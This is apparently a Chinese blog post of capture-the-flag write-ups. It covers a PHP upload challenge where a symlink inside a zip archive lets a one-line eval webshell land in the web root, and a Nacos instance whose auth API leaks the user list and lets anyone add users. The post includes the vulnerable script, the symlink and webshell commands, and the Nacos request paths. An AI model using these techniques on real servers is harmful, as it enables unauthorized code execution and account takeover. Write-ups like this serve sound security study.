Loading...  # Unzip [CTFSHOW国赛复现-----Unzip(软连接利用)\_Sharpery的博客-CSDN博客](https://blog.csdn.net/qq_73767109/article/details/131033346) 首先随便上传文件后回显得到这么一个代码 ``` <?php error_reporting(0);//关闭错误报告。这意味着在运行过程中,任何错误或警告都不会显示 highlight_file(__FILE__);//使用 PHP 内置的 `highlight_file` 函数,对当前文件(`__FILE__` 是一个魔术常量,表示当前文件的完整路径和文件名)进行语法高亮显示。这通常用于调试或演示代码。 $finfo = finfo_open(FILEINFO_MIME_TYPE);//使用 `finfo_open` 函数创建一个新的文件信息资源,用于检查文件的 MIME 类型。`FILEINFO_MIME_TYPE` 是一个预定义常量,表示我们只关心文件的 MIME 类型。 if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){//使用 `finfo_file` 函数检查上传文件的 MIME 类型。`$_FILES["file"]["tmp_name"]` 是上传文件在服务器上的临时路径。如果文件的 MIME 类型是 'application/zip'(即 ZIP 文件),则执行括号内的代码 exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);//使用 `exec` 函数执行一个外部命令。这里,我们先切换到服务器上的 `/tmp` 目录,然后使用 `unzip` 命令解压上传的 ZIP 文件。`-o` 选项表示覆盖已存在的同名文件。 }; //only this! ``` 接下来让我们来分析一下这个代码,这里我借鉴一下上面的文章注释 我们上传的zip文件放在/tmp这个目录下进行解压 但是如果是软连接的话就可以解压到/var/www/html下了,所以接下来我们可以构造软连接指向目标地址,在软连接下写入一句话木马,最后压缩上传 ``` ln -s /var/www/html test cd test touch cmd.php echo "<?php @eval($POST['cmd]);?>" >> cmd.php zip -r test.zip test ``` 工具连接木马,即可得到`ctfshow{2f6d0448-926b-4cb2-822e-2b90976a78aa}` # BackendService [2023ciscn初赛 -- BackendService\_0e1G7的博客-CSDN博客](https://blog.csdn.net/qq_44640313/article/details/131023332) 访问靶场,发现是个Nacos,阅读上文发现原来有这么多漏洞。 链接后面加上`/v1/auth/users?pageNo=1&pageSize=1`可以看到原有的用户名加密码,但是密码被加密了,还不知道是什么加密方式,换个思路,POST请求url后面添加`/v1/auth/users` POST请求`username=Elven&password=passwd`实现任意用户添加  最后修改:2023 年 11 月 24 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 3 如果觉得我的文章对你有用,请随意赞赏